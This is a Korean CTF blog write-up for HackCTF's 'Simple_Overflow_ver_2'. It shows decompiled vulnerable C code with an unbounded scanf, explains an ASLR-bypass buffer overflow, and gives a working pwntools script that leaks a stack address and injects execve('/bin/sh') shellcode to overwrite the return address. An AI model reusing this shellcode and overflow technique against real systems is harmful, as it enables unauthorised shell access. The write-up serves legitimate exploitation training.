본문 바로가기
시스템 해킹/CTF

[HackCTF] Simple_Overflow_ver_2

by L3m0n S0ju 2021. 9. 13.

 

 

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // ebx
  char v5; // [esp+13h] [ebp-89h] BYREF
  char s[128]; // [esp+14h] [ebp-88h] BYREF
  int i; // [esp+94h] [ebp-8h]

  setvbuf(stdout, 0, 2, 0);
  v5 = 121;
  do
  {
    printf("Data : ");
    if ( __isoc99_scanf(" %[^\n]s", s) )
    {
      for ( i = 0; ; ++i )
      {
        v3 = i;
        if ( v3 >= strlen(s) )
          break;
        if ( (i & 0xF) == 0 )
          printf("%p: ", &s[i]);
        printf(" %c", (unsigned __int8)s[i]);
        if ( i % 16 == 15 )
          putchar(10);
      }
    }
    printf("\nAgain (y/n): ");
  }
  while ( __isoc99_scanf(" %c", &v5) && (v5 == 121 || v5 == 89) );
  return 0;
}

 

 


 

문제 코드는 문자열을 입력하면 버퍼에 차곡차곡 저장되고 16 바이트 단위마다 다음 줄로 개행을 하는 방식으로 동작한다. 이번 문제 역시 ASLR이 걸려있어 접속할 때 마다 주소값이 바뀌지만 Again으로 다시 시작하면 주소 값이 바뀌지 않으므로 익스플로잇 할 수 있다. 풀이는 간단하다. 처음 Data가 저장되는 s 배열의 위치를 파악하고 Again으로 다시 데이터를 보내서 버퍼오버플로우를 이용해 main함수의 ret을 덮어씌우고 쉘코드를 이용해 쉘을 탈취할 수 있다.

 

 

 

 

 


from pwn import *
context.log_level='debug'
r=remote("ctf.j0n9hyun.xyz",3006)

payload1=b"a"*4 # 주소 알아내기
r.recvuntil("Data : ")
r.sendline(payload1)
arr=r.recv(10) # 문자열 형식 16진수 수신
leak=int(arr,16)
print("[+] leakbase: " + hex(leak)) # leak 주소 출력
r.sendline("y")

payload2=b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+ b"a"*111 + b"b"*4 + p32(leak)
r.sendline(payload2)
r.sendline("n")
r.interactive()

 

 


플래그

'시스템 해킹 > CTF' 카테고리의 다른 글

[HackCTF] BOF_PIE  (0) 2021.09.14
[HackCTF] Offset  (0) 2021.09.14
[HackCTF] x64 Simple_size_BOF  (0) 2021.09.13
[HackCTF] x64 Buffer Overflow  (0) 2021.09.13
[HackCTF] 내 버퍼가 흘러넘친다!!!  (0) 2021.09.12

댓글